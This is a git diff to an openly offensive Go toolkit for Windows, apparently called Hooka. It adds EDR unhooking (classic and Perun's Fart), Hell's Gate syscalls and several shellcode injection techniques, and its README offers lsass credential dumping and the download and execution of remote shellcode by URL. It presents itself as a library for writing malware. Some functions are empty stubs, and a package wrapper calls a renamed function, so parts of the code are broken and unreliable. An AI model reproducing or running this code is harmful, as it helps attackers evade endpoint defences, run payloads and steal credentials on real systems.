diff --git a/CHANGELOG.md b/CHANGELOG.md
new file mode 100644
index 0000000..e721fbc
--- /dev/null
+++ b/CHANGELOG.md
@@ -0,0 +1,5 @@
+- initial commit
+- Create FUNDING.yml
+- Update README.md
+- Update README.md
+- Initial commit
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
new file mode 100644
index 0000000..e69de29
diff --git a/README.md b/README.md
index f044cca..c1986b9 100644
--- a/README.md
+++ b/README.md
@@ -26,7 +26,11 @@ There isn't too much info about detecting Windows hooks in ***Golang*** so I dec
- Detects hooked functions (i.e. CreateRemoteThread)
- Compatible with base64 and hex encoded shellcode
- Hell's Gate technique
-- Capable of unhooking functions
+- Capable of unhooking functions via multiple techniques:
+ - Classic unhooking
+ - Full DLL unhooking
+ - Perun's Fart technique
+
- Multiple shellcode injection techniques:
- CreateRemoteThread
- Fibers
@@ -51,12 +55,45 @@ NtdllDialogWndProc_W
ZwQuerySystemTime
```
-Just clone the repository like this:
+- Just clone the repository like this:
```sh
git clone https://github.com/D3Ext/Hooka
```
+> This is the help panel
+```
+ _ _ _ _
+ | | | | ___ ___ | | __ __ _ | |
+ | |_| | / _ \ / _ \ | |/ / / _` | | |
+ | _ | | (_) | | (_) | | < | (_| | |_|
+ |_| |_| \___/ \___/ |_|\_\ \__,_| (_)
+ by D3Ext - v0.1
+
+ -b64
+ decode base64 encoded shellcode
+ -dll string
+ path to DLL you want to inject with function name sepparated by comma (i.e. evil.dll,xyz)
+ -file string
+ path to file where shellcode is stored
+ -hells
+ enable Hell's Gate technique to try to evade possible EDRs
+ -hex
+ decode hex encoded shellcode
+ -hooks
+ dinamically detect hooked functions by EDR
+ -lsass string
+ dump lsass.exe process memory into a file to extract credentials (run as admin)
+ -t string
+ shellcode injection technique: CreateRemoteThread, Fibers, OpenProcess, EarlyBirdApc (default: random)
+ -test
+ test shellcode injection capabilities by spawning a calc.exe
+ -unhook int
+ overwrite syscall memory address to bypass EDR : 1=classic, 2=full, 3=Perun's Fart
+ -url string
+ remote shellcode url (e.g. http://192.168.1.37/shellcode.bin)
+```
+
> Detect hooked functions by EDR (including false positives)
```sh
.\Hooka.exe --hooks
@@ -79,6 +116,16 @@ If no technique is especified it will use a random one
.\Hooka.exe -t Fibers --file shellcode.bin
```
+> Decode shellcode from hex
+```sh
+.\Hooka.exe --url http://192.168.116.37/shellcode.bin --hex
+```
+
+> Decode shellcode from base64
+```sh
+.\Hooka.exe --file shellcode.bin --b64
+```
+
> Inject shellcode using Hell's Gate
```sh
.\Hooka.exe --url http://192.168.116.37/shellcode.bin --hells
@@ -86,16 +133,18 @@ If no technique is especified it will use a random one
> Unhook function before injecting shellcode
```sh
-.\Hooka.exe -t OpenProcess --file shellcode.bin --unhook
+.\Hooka.exe -t OpenProcess --file shellcode.bin --unhook 3
```
+As you can see Hooka provides a lot of CLI flags to help you in all kind of situations
+
# Demo
> Detecting hooks
> Injecting shellcode via CreateRemoteThread
-
+
> Test function
@@ -111,6 +160,8 @@ If no technique is especified it will use a random one
:black_square_button: Better error handling
+:black_square_button: Test unhooking functions against some EDR
+
# Library
If you're looking to implement any function in your malware you can do it using the official package API:
@@ -161,12 +212,15 @@ import (
func main(){
- // = CreateRemoteThread
- proc, err := hooka.FuncFromHash("") // Returns a pointer to function like NewProc()
+ // 8c2beefa1c516d318252c9b1b45253e0549bb1c4 = CreateRemoteThread
+
+ // Returns a pointer to function like NewProc()
+ proc, err := hooka.FuncFromHash("8c2beefa1c516d318252c9b1b45253e0549bb1c4")
if err != nil {
log.Fatal(err)
}
+ // Now use the procedure as loading it from dll
proc.Call()
...
@@ -201,9 +255,25 @@ func main(){
}
```
-> Unhook a function
+> Unhook a function (3 ways)
```go
package main
+
+import (
+ "fmt"
+ "log"
+
+ "github.com/D3Ext/Hooka/pkg/hooka"
+)
+
+func main(){
+ err := hooka.ClassicUnhook("NtCreateThread", "C:\\Windows\\System32\\ntdll.dll")
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ fmt.Println("[+] Function should have been unhooked!")
+}
```
# Contributing
@@ -220,6 +290,8 @@ https://github.com/timwhitez/Doge-Gabh
https://github.com/Ne0nd0g/go-shellcode
https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscall-functions#checking-for-hooks
https://github.com/Kara-4search/HookDetection_CSharp
+https://github.com/plackyhacker/Peruns-Fart
+https://blog.sektor7.net/#!res/2021/perunsfart.md
https://teamhydra.blog/2020/09/18/implementing-direct-syscalls-using-hells-gate/
```
@@ -229,6 +301,10 @@ Creator isn't in charge of any and has no responsibility for any kind of: illega
Use this project under your own responsability!
+# Changelog
+
+See [CHANGELOG.md](https://github.com/D3Ext/Hooka/blob/main/CHANGELOG.md)
+
# License
This project is licensed under [MIT](https://github.com/D3Ext/Hooka/blob/main/LICENSE) license
diff --git a/core/auxiliary.go b/core/auxiliary.go
index f5bf001..7cf5319 100644
--- a/core/auxiliary.go
+++ b/core/auxiliary.go
@@ -6,12 +6,15 @@ import (
"fmt"
"time"
"bytes"
+ "strings"
"net/http"
"math/rand"
"io/ioutil"
"crypto/sha1"
"encoding/binary"
+ "golang.org/x/sys/windows"
+
// Third-party packages
"github.com/Binject/debug/pe"
)
@@ -95,7 +98,6 @@ func GetShellcodeFromFile(file string) ([]byte, error) { // Read given file and
}
// Convert string to Sha1 (used for hashing)
-
func StrToSha1(str string) (string) {
h := sha1.New()
h.Write([]byte(str))
@@ -103,4 +105,105 @@ func StrToSha1(str string) (string) {
return fmt.Sprintf("%x", bs)
}
+/*
+
+This code has been taken from BananaPhone and Doge-Gabh project
+
+*/
+
+type sstring struct {
+ Length uint16
+ MaxLength uint16
+ PWstr *uint16
+}
+
+func (s sstring) String() (string) {
+ return windows.UTF16PtrToString(s.PWstr)
+}
+
+func inMemLoads(modulename string) (uintptr, uintptr) {
+ s, si, p := gMLO(0)
+ start := p
+ i := 1
+
+ if (strings.Contains(strings.ToLower(p), strings.ToLower(modulename))) {
+ return s, si
+ }
+
+ for {
+ s, si, p = gMLO(i)
+
+ if p != "" {
+ if (strings.Contains(strings.ToLower(p), strings.ToLower(modulename))) {
+ return s, si
+ }
+ }
+
+ if (p == start) {
+ break
+ }
+
+ i++
+ }
+
+ return 0, 0
+}
+
+func findFirstSyscallOffset(pMem []byte, size int, moduleAddress uintptr) int {
+
+ offset := 0
+ pattern1 := []byte{0x0f, 0x05, 0xc3}
+ pattern2 := []byte{0xcc, 0xcc, 0xcc}
+
+ // find first occurance of syscall+ret instructions
+ for i := 0; i < size-3; i++ {
+ instructions := []byte{pMem[i], pMem[i+1], pMem[i+2]}
+
+ if (instructions[0] == pattern1[0]) && (instructions[1] == pattern1[1]) && (instructions[2] == pattern1[2]) {
+ offset = i
+ break
+ }
+ }
+
+ // find the beginning of the syscall
+ for i := 3; i < 50; i++ {
+ instructions := []byte{pMem[offset-i], pMem[offset-i+1], pMem[offset-i+2]}
+ if (instructions[0] == pattern2[0]) && (instructions[1] == pattern2[1]) && (instructions[2] == pattern2[2]) {
+ offset = offset - i + 3
+ break
+ }
+ }
+
+ return offset
+}
+
+func findLastSyscallOffset(pMem []byte, size int, moduleAddress uintptr) int {
+
+ offset := 0
+ pattern := []byte{0x0f, 0x05, 0xc3, 0xcd, 0x2e, 0xc3, 0xcc, 0xcc, 0xcc}
+
+ for i := size - 9; i > 0; i-- {
+ instructions := []byte{pMem[i], pMem[i+1], pMem[i+2], pMem[i+3], pMem[i+4], pMem[i+5], pMem[i+6], pMem[i+7], pMem[i+8]}
+
+ if (instructions[0] == pattern[0]) && (instructions[1] == pattern[1]) && (instructions[2] == pattern[2]) {
+ offset = i + 6
+ break
+ }
+ }
+
+ return offset
+}
+
+func gMLO(i int) (start uintptr, size uintptr, modulepath string) {
+ var badstring *sstring
+ start, size, badstring = getMLO(i)
+ modulepath = badstring.String()
+ return
+}
+
+//getModuleLoadedOrder returns the start address of module located at i in the load order. This might be useful if there is a function you need that isn't in ntdll, or if some rude individual has loaded themselves before ntdll.
+func getMLO(i int) (start uintptr, size uintptr, modulepath *sstring) {
+ return
+}
+
diff --git a/core/exports.go b/core/exports.go
new file mode 100644
index 0000000..9cc3439
--- /dev/null
+++ b/core/exports.go
@@ -0,0 +1,86 @@
+package core
+
+/*
+
+This package exports all windows struct which are used
+
+*/
+
+type IMAGE_OPTIONAL_HEADER struct {
+ Magic uint16
+ MajorLinkerVersion uint8
+ MinorLinkerVersion uint8
+ SizeOfCode uint32
+ SizeOfInitializedData uint32
+ SizeOfUninitializedData uint32
+ AddressOfEntryPoint uint32
+ BaseOfCode uint32
+ ImageBase uint64
+ SectionAlignment uint32
+ FileAlignment uint32
+ MajorOperatingSystemVersion uint16
+ MinorOperatingSystemVersion uint16
+ MajorImageVersion uint16
+ MinorImageVersion uint16
+ MajorSubsystemVersion uint16
+ MinorSubsystemVersion uint16
+ Win32VersionValue uint32
+ SizeOfImage uint32
+ SizeOfHeaders uint32
+ CheckSum uint32
+ Subsystem uint16
+ DllCharacteristics uint16
+ SizeOfStackReserve uint64
+ SizeOfStackCommit uint64
+ SizeOfHeapReserve uint64
+ SizeOfHeapCommit uint64
+ LoaderFlags uint32
+ NumberOfRvaAndSizes uint32
+ DataDirectory [16]IMAGE_DATA_DIRECTORY
+}
+
+type IMAGE_DATA_DIRECTORY struct {
+ VirtualAddress uint32
+ Size uint32
+}
+
+type IMAGE_FILE_HEADER struct {
+ Machine uint16
+ NumberOfSections uint16
+ TimeDateStamp uint32
+ PointerToSymbolTable uint32
+ NumberOfSymbols uint32
+ SizeOfOptionalHeader uint16
+ Characteristics uint16
+}
+
+type IMAGE_NT_HEADER struct {
+ Signature uint32
+ FileHeader IMAGE_FILE_HEADER
+ OptionalHeader IMAGE_OPTIONAL_HEADER
+}
+
+type IMAGE_DOS_HEADER struct { // DOS .EXE header
+ E_magic uint16 // Magic number
+ E_cblp uint16 // Bytes on last page of file
+ E_cp uint16 // Pages in file
+ E_crlc uint16 // Relocations
+ E_cparhdr uint16 // Size of header in paragraphs
+ E_minalloc uint16 // Minimum extra paragraphs needed
+ E_maxalloc uint16 // Maximum extra paragraphs needed
+ E_ss uint16 // Initial (relative) SS value
+ E_sp uint16 // Initial SP value
+ E_csum uint16 // Checksum
+ E_ip uint16 // Initial IP value
+ E_cs uint16 // Initial (relative) CS value
+ E_lfarlc uint16 // File address of relocation table
+ E_ovno uint16 // Overlay number
+ E_res [4]uint16 // Reserved words
+ E_oemid uint16 // OEM identifier (for E_oeminfo)
+ E_oeminfo uint16 // OEM information; E_oemid specific
+ E_res2 [10]uint16 // Reserved words
+ E_lfanew uint16 // File address of new exe header
+}
+
+
+
diff --git a/core/flags.go b/core/flags.go
index 638cdc2..c1a8386 100644
--- a/core/flags.go
+++ b/core/flags.go
@@ -10,14 +10,14 @@ import (
"flag"
)
-func ParseFlags() (string, string, string, string, bool, bool, bool, bool, bool, bool, string) {
+func ParseFlags() (string, string, string, string, bool, bool, int, bool, bool, bool, string) {
var sc_url string
var sc_file string
var dll_file string
var technique string
var hook_detect bool
var hells bool
- var unhook bool
+ var unhook int
var base64_flag bool
var hex_flag bool
var test_flag bool
@@ -26,10 +26,10 @@ func ParseFlags() (string, string, string, string, bool, bool, bool, bool, bool,
flag.StringVar(&sc_url, "url", "", "remote shellcode url (e.g. http://192.168.1.37/shellcode.bin)")
flag.StringVar(&sc_file, "file", "", "path to file where shellcode is stored")
flag.StringVar(&dll_file, "dll", "", "path to DLL you want to inject with function name sepparated by comma (i.e. evil.dll,xyz)")
- flag.StringVar(&technique, "t", "", "shellcode injection technique: CreateRemoteThread, Fibers, OpenProcess, EarlyBirdApc (by default: random)")
+ flag.StringVar(&technique, "t", "", "shellcode injection technique: CreateRemoteThread, Fibers, OpenProcess, EarlyBirdApc (default: random)")
flag.BoolVar(&hook_detect, "hooks", false, "dinamically detect hooked functions by EDR")
flag.BoolVar(&hells, "hells", false, "enable Hell's Gate technique to try to evade possible EDRs")
- flag.BoolVar(&unhook, "unhook", false, "overwrite syscall memory address to bypass EDR (if no function is hooked it doesn't do nothing)")
+ flag.IntVar(&unhook, "unhook", 0, "overwrite syscall memory address to bypass EDR : 1=classic, 2=full, 3=Perun's Fart")
flag.BoolVar(&base64_flag, "b64", false, "decode base64 encoded shellcode")
flag.BoolVar(&hex_flag, "hex", false, "decode hex encoded shellcode")
flag.BoolVar(&test_flag, "test", false, "test shellcode injection capabilities by spawning a calc.exe")
diff --git a/core/hooks.go b/core/hooks.go
index 5c6cc39..d835f28 100644
--- a/core/hooks.go
+++ b/core/hooks.go
@@ -11,7 +11,7 @@ https://github.com/C-Sto/BananaPhone
*/
import (
- "fmt"
+ //"fmt"
"errors"
"strings"
diff --git a/core/injection.go b/core/injection.go
index dad29a7..facdbf4 100644
--- a/core/injection.go
+++ b/core/injection.go
@@ -9,35 +9,36 @@ var techniques = []string{"CreateRemoteThread", "Fibers", "CreateProcess", "Earl
func InjectWithTechnique(shellcode []byte, technique string) (error) {
// Check especified injection technique
+
if (strings.ToLower(technique) == "createremotethread") {
err := CreateRemoteThread(shellcode)
- if err != nil {
+ if err != nil { // Handle error
return err
}
} else if (strings.ToLower(technique) == "fibers") {
err := Fibers(shellcode)
- if err != nil {
+ if err != nil { // Handle error
return err
}
} else if (strings.ToLower(technique) == "createprocess") {
err := CreateProcess(shellcode)
- if err != nil {
+ if err != nil { // Handle error
return err
}
} else if (strings.ToLower(technique) == "earlybirdapc") {
err := EarlyBirdApc(shellcode)
- if err != nil {
+ if err != nil { // Handle error
return err
}
} else {
- rand_n := RandomInt(3, 0)
+ rand_n := RandomInt(3, 0) // Choose a random technique
fmt.Println("[*] Injecting shellcode using " + techniques[rand_n] + " function")
err := InjectWithTechnique(shellcode, techniques[rand_n])
- if err != nil {
+ if err != nil { // Handle error
return err
}
}
diff --git a/core/unhook.go b/core/unhook.go
index f3e8792..e6b447f 100644
--- a/core/unhook.go
+++ b/core/unhook.go
@@ -9,14 +9,20 @@ https://www.ired.team/offensive-security/defense-evasion/bypassing-cylance-and-o
*/
import (
- "fmt"
+ "time"
+ "bytes"
+ "strings"
+ "errors"
"unsafe"
"syscall"
"golang.org/x/sys/windows"
+
+ "github.com/Binject/debug/pe"
)
-func Unhook(funcname string) (error) {
+// This function unhooks given function of especified dll (NtCreateThread and C:\\Windows\\System32\\ntdll.dll)
+func ClassicUnhook(funcname string, dllpath string) (error) {
// Load DLL APIs
k32 := syscall.NewLazyDLL("kernel32.dll")
@@ -27,7 +33,8 @@ func Unhook(funcname string) (error) {
var assembly_bytes []byte
- ntdll_lib, _ := syscall.LoadLibrary("C:\\Windows\\System32\\ntdll.dll")
+ // should be full path: C:\\Windows\\System32\\ntdll.dll
+ ntdll_lib, _ := syscall.LoadLibrary(dllpath)
defer syscall.FreeLibrary(ntdll_lib)
procAddr, _ := syscall.GetProcAddress(ntdll_lib, funcname)
@@ -41,7 +48,8 @@ func Unhook(funcname string) (error) {
ownHandle, _, _ := getCurrentProcess.Call()
- ntdll_ptr, _ := windows.UTF16PtrFromString("ntdll.dll")
+ // Convert dll name to pointer
+ ntdll_ptr, _ := windows.UTF16PtrFromString(strings.Split(dllpath, "\\")[3])
moduleHandle, _, _ := getModuleHandle.Call(uintptr(unsafe.Pointer(ntdll_ptr)))
func_ptr, _ := windows.UTF16PtrFromString(funcname)
@@ -53,4 +61,104 @@ func Unhook(funcname string) (error) {
return nil
}
+func FullUnhook(dllpath string) (error) {
+ return nil
+}
+
+func PerunsUnhook() (error) {
+ var si syscall.StartupInfo
+ var pi syscall.ProcessInformation
+ si.Cb = uint32(unsafe.Sizeof(syscall.StartupInfo{}))
+
+ cmdline, err := syscall.UTF16PtrFromString("C:\\Windows\\System32\\notepad.exe")
+ if err != nil {
+ return err
+ }
+
+ err = syscall.CreateProcess(
+ nil,
+ cmdline,
+ nil,
+ nil,
+ false,
+ windows.CREATE_NEW_CONSOLE | windows.CREATE_SUSPENDED,
+ nil,
+ nil,
+ &si,
+ &pi,
+ )
+
+ if err != nil {
+ return err
+ }
+
+ time.Sleep(800 * time.Millisecond)
+
+ ntd, _ := inMemLoads(string([]byte{'n', 't', 'd', 'l', 'l'}))
+ if (ntd == 0) {
+ return errors.New("an error has ocurred while loading ntdll.dll")
+ }
+ addrMod := ntd
+
+ ntHeader := (*IMAGE_NT_HEADER)(unsafe.Pointer(addrMod + uintptr((*IMAGE_DOS_HEADER)(unsafe.Pointer(addrMod)).E_lfanew)))
+ if (ntHeader == nil) {
+ return errors.New("an error has ocurred while getting nt header")
+ }
+
+ time.Sleep(50 * time.Millisecond)
+
+ modSize := ntHeader.OptionalHeader.SizeOfImage
+ if (modSize == 0) {
+ return errors.New("an error has ocurred while getting nt header size")
+ }
+
+ cache := make([]byte, modSize)
+ var lpNumberOfBytesRead uintptr
+
+ err = windows.ReadProcessMemory(
+ windows.Handle(uintptr(pi.Process)),
+ addrMod,
+ &cache[0],
+ uintptr(modSize),
+ &lpNumberOfBytesRead,
+ )
+
+ if err != nil {
+ return err
+ }
+
+ e := syscall.TerminateProcess(pi.Process, 0)
+ if e != nil {
+ return e
+ }
+
+ time.Sleep(50 * time.Millisecond)
+
+ pe0, err := pe.NewFileFromMemory(bytes.NewReader(cache))
+ if err != nil {
+ return err
+ }
+
+ secHdr := pe0.Section(string([]byte{'.', 't', 'e', 'x', 't'}))
+
+ startOffset := findFirstSyscallOffset(cache, int(secHdr.VirtualSize), addrMod)
+ endOffset := findLastSyscallOffset(cache, int(secHdr.VirtualSize), addrMod)
+ cleanSyscalls := cache[startOffset:endOffset]
+
+ var writenum uintptr
+ e = windows.WriteProcessMemory(
+ 0xffffffffffffffff,
+ addrMod+uintptr(startOffset),
+ &cleanSyscalls[0],
+ uintptr(len(cleanSyscalls)),
+ &writenum,
+ )
+
+ if e != nil {
+ return e
+ }
+
+ return nil
+}
+
diff --git a/main.go b/main.go
index 7e6cc73..1588e9f 100644
--- a/main.go
+++ b/main.go
@@ -20,39 +20,44 @@ func main() {
var err error
// Parse CLI flags and retrieve values
- sc_url, sc_file, dll_file, technique, hook_detect, _, _, base64_flag, hex_flag, test_flag, lsass := core.ParseFlags()
+ sc_url, sc_file, dll_file, technique, hook_detect, _, unhook, base64_flag, hex_flag, test_flag, lsass := core.ParseFlags()
l.PrintBanner("Hooka!")
- l.Println(" by D3Ext - v0.1")
+ l.Println(" by D3Ext - v0.1")
time.Sleep(100 * time.Millisecond)
if (sc_url == "") && (sc_file == "") && (dll_file == "") && (!hook_detect) && (!test_flag) { // Enter here if any main flag was especified
l.Println()
flag.PrintDefaults()
- l.Println("\n[-] Parameters missing: provide a shellcode to inject (--file/--url/--dll), detect hooked functions (--hooks) or test program capabilities (--test)")
+ l.Println("\n[-] Parameters missing: provide a shellcode to inject (--file/--url/--dll), detect hooked functions (--hooks) or test program capabilities (--test)\n")
os.Exit(0)
} else if (sc_url != "") && (sc_file != "") && (dll_file == "") { // Check if both --url and --file flags were passed
l.Println()
flag.PrintDefaults()
- l.Println("\n[-] Error: you can't use --url and --file at the same time!")
+ l.Println("\n[-] Error: you can't use --url and --file at the same time!\n")
} else if (sc_url != "") && (sc_file == "") && (dll_file != "") { // Check if both --url and --dll flags were passed
l.Println()
flag.PrintDefaults()
- l.Println("\n[-] Error: you can't use --url and --dll at the same time!")
+ l.Println("\n[-] Error: you can't use --url and --dll at the same time!\n")
} else if (sc_url == "") && (sc_file != "") && (dll_file != "") { // Check if both --file and --dll flags were passed
l.Println()
flag.PrintDefaults()
- l.Println("\n[-] Error: you can't use --file and --dll at the same time!")
+ l.Println("\n[-] Error: you can't use --file and --dll at the same time!\n")
} else if (sc_url != "") && (sc_file == "") && (dll_file == "") {
if (base64_flag) && (hex_flag) { // Check if both flags were passed
l.Println()
flag.PrintDefaults()
- l.Println("\n[-] Error: you can't use base64 and hex encoding flag at the same time!")
+ l.Println("\n[-] Error: you can't use base64 and hex encoding flag at the same time!\n")
+ os.Exit(0)
+ }
+
+ if (unhook != 1) && (unhook != 2) && (unhook != 3) && (unhook != 0) {
+ l.Println("\n[-] Unknown unhooking technique! Allowed values: 1, 2, 3\n")
os.Exit(0)
}
@@ -94,6 +99,36 @@ func main() {
time.Sleep(300 * time.Millisecond)
}
+ // Unhook function(s)
+ if (unhook == 1) {
+ l.Println("[*] Unhooking functions via Classic technique...")
+ time.Sleep(200 * time.Millisecond)
+ err := core.ClassicUnhook(technique, "C:\\Windows\\System32\\ntdll.dll")
+ if err != nil {
+ l.Println("[-] An error has ocurred while unhooking functions!")
+ l.Fatal(err)
+ }
+
+ } else if (unhook == 2) {
+ l.Println("[*] Unhooking functions via Full Dll technique...")
+ time.Sleep(200 * time.Millisecond)
+ err := core.FullUnhook("ntdll.dll")
+ if err != nil {
+ l.Println("[-] An error has ocurred while unhooking functions!")
+ l.Fatal(err)
+ }
+
+ } else if (unhook == 3) {
+ l.Println("[*] Unhooking functions via Perun's Fart technique...")
+ time.Sleep(200 * time.Millisecond)
+ err := core.PerunsUnhook()
+ if err != nil {
+ l.Println("[-] An error has ocurred while unhooking functions!")
+ l.Fatal(err)
+ }
+
+ }
+
if (technique != "") {
l.Println("[*] Injecting shellcode using " + technique + " function")
}
@@ -102,20 +137,20 @@ func main() {
if err != nil { // Handle error
l.Fatal(err)
}
- l.Println("[+] Shellcode should have been executed without errors!")
+ l.Println("[+] Shellcode should have been executed without errors!\n")
} else if (sc_file != "") && (sc_url == "") && (dll_file == "") {
if (base64_flag) && (hex_flag) { // Check if both flags were passed
l.Println()
flag.PrintDefaults()
- l.Println("\n[-] Error: you can't use base64 and hex encoding flag at the same time!")
+ l.Println("\n[-] Error: you can't use base64 and hex encoding flag at the same time!\n")
os.Exit(0)
}
_, err := os.Stat(sc_file) // Check if file exists
if os.IsNotExist(err) {
- l.Println("\n[-] Especified file doesn't exist!")
+ l.Println("\n[-] Especified file doesn't exist!\n")
time.Sleep(100 * time.Millisecond)
os.Exit(0)
}
@@ -158,7 +193,37 @@ func main() {
time.Sleep(300 * time.Millisecond)
}
- if technique != "" {
+ // Unhook function(s)
+ if (unhook == 1) {
+ l.Println("[*] Unhooking functions via Classic technique...")
+ time.Sleep(200 * time.Millisecond)
+ err := core.ClassicUnhook(technique, "C:\\Windows\\System32\\ntdll.dll")
+ if err != nil { // Handle error
+ l.Println("[-] An error has ocurred while unhooking functions!")
+ l.Fatal(err)
+ }
+
+ } else if (unhook == 2) {
+ l.Println("[*] Unhooking functions via Full Dll technique...")
+ time.Sleep(200 * time.Millisecond)
+ err := core.FullUnhook("ntdll.dll")
+ if err != nil { // Handle error
+ l.Println("[-] An error has ocurred while unhooking functions!")
+ l.Fatal(err)
+ }
+
+ } else if (unhook == 3) {
+ l.Println("[*] Unhooking functions via Perun's Fart technique...")
+ time.Sleep(200 * time.Millisecond)
+ err := core.PerunsUnhook()
+ if err != nil { // Handle error
+ l.Println("[-] An error has ocurred while unhooking functions!")
+ l.Fatal(err)
+ }
+
+ }
+
+ if (technique != "") {
l.Println("[*] Injecting shellcode using " + technique + " technique")
}
@@ -166,7 +231,7 @@ func main() {
if err != nil { // Handle error
l.Fatal(err)
}
- l.Println("[+] Shellcode should have been executed without errors!")
+ l.Println("[+] Shellcode should have been executed without errors!\n")
} else if (sc_url == "") && (sc_file == "") && (dll_file != "") {
@@ -175,7 +240,7 @@ func main() {
_, err := os.Stat(dll_filename) // Check if especified dll exists
if os.IsNotExist(err) {
- l.Println("\n[-] Especified DLL doesn't exists!")
+ l.Println("\n[-] Especified DLL doesn't exists!\n")
time.Sleep(100 * time.Millisecond)
os.Exit(0)
}
@@ -203,28 +268,30 @@ func main() {
if err != nil { // Handle error
l.Fatal(err)
}
- l.Println("[+] Shellcode should have been executed without errors")
+ l.Println("[+] Shellcode should have been executed without errors!\n")
} else if (sc_url == "") && (sc_file == "") && (dll_file == "") && (hook_detect) { // Enter here if --hooks flag was especified
l.Println("\n[*] Detecting hooked functions...")
all_hooks, err := core.DetectHooks() // Get all hooked functions
- if err != nil {
+ if err != nil { // Handle error
l.Fatal(err)
}
l.Println("[+] Process finished")
if len(all_hooks) >= 1 { // Check if hooks array contains at least one function
- l.Println("[*] Hooked functions:")
+ time.Sleep(200 * time.Millisecond)
+ l.Println("[*] Hooked functions:\n")
for _, h := range all_hooks {
l.Println(h)
}
+ l.Println()
time.Sleep(200 * time.Millisecond)
} else {
time.Sleep(200 * time.Millisecond)
- l.Println("[+] No function is hooked!")
+ l.Println("[+] No function is hooked!\n")
time.Sleep(100 * time.Millisecond)
}
@@ -237,18 +304,18 @@ func main() {
if err != nil { // Handle error
l.Fatal(err)
}
- l.Println("[+] Shellcode should have been executed!")
+ l.Println("[+] Shellcode should have been executed!\n")
} else if (lsass != "") { // Enter here if --lsass flag was especified
l.Println("[*] Dumping lsass process to " + lsass)
err := core.DumpLsass(lsass)
- if err != nil {
+ if err != nil { // Handle error
l.Println("[-] An error has ocurred, ensure to be running as admin:")
l.Fatal(err)
}
- l.Println("[+] Process finished! Now use Mimikatz in your machine to extract credentials")
+ l.Println("[+] Process finished! Now use Mimikatz in your machine to extract credentials\n")
time.Sleep(100 * time.Millisecond)
}
}
diff --git a/pkg/hooka/hells.go b/pkg/hooka/hells.go
new file mode 100644
index 0000000..4b1df8b
--- /dev/null
+++ b/pkg/hooka/hells.go
@@ -0,0 +1,8 @@
+package hooka
+
+import "github.com/D3Ext/Hooka/core"
+
+func HellsGate(funcname string) (error) {
+ return core.HellsGate(funcname)
+}
+
diff --git a/pkg/hooka/unhook.go b/pkg/hooka/unhook.go
index df76728..aa46084 100644
--- a/pkg/hooka/unhook.go
+++ b/pkg/hooka/unhook.go
@@ -2,7 +2,16 @@ package hooka
import "github.com/D3Ext/Hooka/core"
-func Unhook(funcname string) (error) {
- return core.Unhook(funcname)
+func ClassicUnhook(funcname string, dllpath string) (error) {
+ return core.Unhook(funcname, dllpath)
}
+func FullUnhook(funcname string) (error) {
+ return core.FullUnhook(funcname)
+}
+
+func PerunsUnhook() (error) {
+ return core.PerunsUnhook()
+}
+
+